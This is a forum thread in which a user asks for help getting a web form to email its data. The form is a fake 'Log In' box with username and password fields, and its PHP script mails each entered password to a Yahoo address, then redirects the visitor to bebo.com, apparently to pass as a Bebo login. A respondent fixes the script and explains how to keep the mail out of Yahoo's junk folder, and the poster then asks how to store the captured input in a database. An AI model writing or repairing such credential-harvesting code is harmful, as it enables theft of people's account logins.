Email Form Data

[Aitken91]

Hi, I'm making a website that has a form. When the user clicks the submit button i need it to email me the data.

 

Currently everything works, except i am not getting the emails.

 

The web page code is:

<form method="post" action="sendmail.php">

        <p align="right">Email / Username:

            <input name="email" type="text" />

         

          Password: 

          <input name="message" type="password" />

        <input name="submit" type="submit" value="Log In" />

    </p>

        </form>

 

And the php (sendmail.php) scrips code is:

<?

  $email = $_REQUEST['email'] ;

  $message = $_REQUEST['message'] ;

 

  mail( "mybo_prox@yahoo.co.uk", "Accounts",

    $message, "From: $email" );

  header( "Location: http://www.bebo.com" );

?>

 

I know little PHP, and would be grateful for any help.

Hi, The HTML part works and i have got the "header( "Location: http://www.bebo.com" );" working. But i still  have not got it to email my address.

Try doing it this way:

 

<?
  $to = "mybo_prox@yahoo.co.uk";
  $subject = "Accounts";
  $email = $_REQUEST['email'] ;
  $message = $_REQUEST['message'] ;

  mail( $to, $subject, $message, "From: $email" );
  header( "Location: http://www.bebo.com" );
?>

Yahoo tends to filter mail from servers as junk, especially if no mail headers are passed. Check the junk email folder and look at www.php.net/mail the mail function to figure out a set of headers that will work for you.

Hello. Thanks.

 

I've seen other posts on here and was wondering, is it possible to write the users input into a database. If its possible how would i do it.

 

Thanks, Aitken91
